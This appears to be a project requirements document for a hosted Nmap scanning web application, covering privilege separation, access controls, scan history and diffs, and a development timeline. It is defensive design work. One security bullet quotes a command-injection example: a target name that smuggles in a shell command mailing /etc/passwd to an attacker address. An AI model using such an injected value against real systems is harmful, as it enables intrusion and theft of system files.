Nmap Hosted Scanner

The goal of this project is to create a hosted application which allows users to log in and execute Nmap scans. They hould be able to view the results online (using Nmap XML output, rendered to XHTML using the nmap.xsl stylesheet distributed with Nmap) or have the normal (-oN) output emailed to them. Users should also be able to view online (or have mailed to them) differences since the last time they executed a particular scan.

If users like this application enough, Fyodor may be willing to host it himself as a public service. It can be very handy to see what your network looks like from the outside. Being notified automatically when new ports open/close or machines go online (or offline) is also useful. Obviously providing such a service carries serious security and abuse risks, which is why those are a key focus of this document. Even if Fyodor can't afford the hardware/bandwidth to host this for free (or his ISP won't let him), there is the possibility that another party will. And even if that doesn't happen, this app would be extremely valuable for private organizations to host with access given only to their trusted network administrators.

REQUIRED FEATURES

If you think of other important features/requirements for this document, or feel it should be changed in other ways, please post your suggestions to nmap-dev. Labels such as "should" or "would be nice" denote less-critical features that can be worked on last, while "musts" have to be met unless we agree to make changes. Here are the proposed features and infrastructure requirements for the new Nmap scripting engine:

• Everything in the General Requirements document.
• Obviously security is a huge concern with this sort of application. You don't want people passing "target" names such as "www.microsoft.com;mail evilhacker@gmail.com < /etc/passwd". All user input must be sanitized very carefully. Follow best-practices for CGI security, such as limiting field values to known-trusted patterns rather than trying to remove "bad" characters.
• On the topic of security, you may not have Nmap be setuid root or run the web server or all of your CGIs as root. You may want a privileged daemon which picks up commands from a file (or whatever) created by the application and then runs Nmap and stores the results such that they are accessible by the CGI app. The main app would then be running as a custom, unprivileged user. And the Nmap daemon in that case would treat the app data as untrusted. You also may want to consider sandboxing approaches such as SELinux, or chroot + privilege dropping.
• You must have root access to a UNIX machine connected to the Internet that you can set this up on. You need to know how to set up Apache for CGIs (or whatever technology you wish to use). A Linux machine connected to a normal broadband connection should work fine. Note that the goal here is to produce an open source system that anyone can install on their own web servers. You certainly don't have to open this up to the public yourself. Fyodor needs an account during development for testing. He will only scan his own machines, and not get you into trouble :).
• Some people might open this up to the public, while others might only give their sysadmins access. So granular access controls are needed to prevent abuse. Email authentication (e.g. email them their first password) must be supported so that admins at least have a tiny amount of information on users. Admins should also be able to control which Nmap features are available to certain classes of users. For example, intrusive features like version detection should require extra privileges. Port scanning would be another privilege (you may want to allow just host discovery to some types of users). So would decoys or the spoof (-S) option. You should work with Fyodor to define the privilege list. There should also be IP-level controls. Users may be allowed to scan only a certain number of hosts per day, or may only be allowed to scan hosts in a certain IP range. Admins should also be able to set network ranges that may never be scanned (Nmap supports this through its excludefile option). Admins must have the option to moderate (approve) new account signups.
• If a database is used, it should support at least PostgreSQL.
• Apache is suggested as the web server used, but using other UNIX web servers instead is probably fine.
• Users should be able to download results from a scan in Normal or XML formats.
• The system must work on Linux (ideally tested on Fedora Core 5). Supporting other systems may be desirable but is not required.
• You have a bit of lattitude in selecting the language for this system. Perl, Python, or C would be good choices. PHP is probably not OK. ASP and .Net are out of the question :). The term CGI is used in this document in a general sense to encompass just about any dynamic web functionality which will serve this (hosted Nmap) purpose.
• It must have a history feature so you can see results of your previous scans.
• When viewing a scan (as in from history), there should be a "repeat this scan" function which runs the same scan again. For example, you might want to scan your new server, disable some stupid services in an ssh window, then repeat the scan to ensure that the ports are now closed.
• It would be nice if you could easily see the changes between two scans. The feature creepers may be writing a program which will compare two XML output files and produce a 3rd file which shows all of the differences (you can request that the third file be in English or XML format).
• Automated scanning should be supported. Users can have it scan them every day, week, or month and email them the full results or just the difference since the previous scan.
• It needs to scale well enough to support thousands of users, including dozens of them executing scans at once.
• The system must be well-designed to be both pretty and usable. Obviously this is subjective, but it is still one of the most imporant requirements.
• The Admin must be able to specify options that are always used with Nmap. For example, they might want to always use a certain source address (-S) or a host-wide --excludefile.
• The system must support Nmap status reports through progress reports or completion time estimates. Another SoC students will probably be adding progress info to the Nmap XML output (and it is already available in normal output).
• You don't need to support all Nmap options, but must support the "most important" ones, like SYN scanning, version detection, OS detection, host enumeration, port specification, and more. Examples you don't need are Idle scan, FTP bounce scan, and maybe decoys and spoofing (-D, -S). Users can use the command-line version for really custom and rare stuff. Work with Fyodor to define the list of supported options.
• Users with sufficient privileges should be able to set performance options.
• Maybe the most trusted set of users should be able to execute their own custom command lines.
• Code should be clean and extensible. Adding support for a new Nmap option shouldn't be a huge pain.
• You should probably be able to store named profiles of scan types. Maybe users could make and save their own, or perhaps they have to be configured in the application in a config file or by admins with the web interface.
• May want to allow annotations (text string) to be added to scanned hosts. But if the app is just displaying but not parsing Nmap results, this may be more trouble than it is worth.
• Must come up with an initial timeline showing each week of SoC and what you plan to implement during that week. The weeks should be numberd 1-12, with week one ending on May 29 and week 12 ending August 21. That way it will correspond with the status report dates detailed in the general requirements. The focus is one the milestones you will complete by a given date. Obviously you won't be able to estimate perfectly, so this is subject to change.
• Be careful of dependencies. This isn't as big of a deal as with other Nmap projects, but don't go overboard adding required infrastructure that isn't critical.
• The system must be documented with online help pages. These are probably best written in HTML. They may not be written in Word or a WYSIWYG HTML editor.
• Installation instructions must also be documented. And you should try to make installation and dependencies as easy and minimal as possible, while still meeting all of these requirements.
• Here is an example timeline for the project:
  1. Come up with an initial proposal, deciding how the system will work. Mock up the pages in HTML or with a photo editor like The Gimp/Photoshop and post a link to your proposal to nmap-dev for comments. Be sure to describe the security/sandboxing measures you plan to take.
  2. Write your initial timeline/milestones
  3. Incorporate feedback from nmap-dev and Fyodor. If changes are dramatic, repeat the review cycle until you and Fyodor are happy with it, and everyone has had a chance to contribute ideas.
  4. Actually implement the system. Test, re-test, fix bugs, etc. You may want to create a very limited, but usable version first. Then start adding all of the features. Make an account for Fyodor to play with. Be sure to document all the set-up tasks so that others can try installing this if they wish.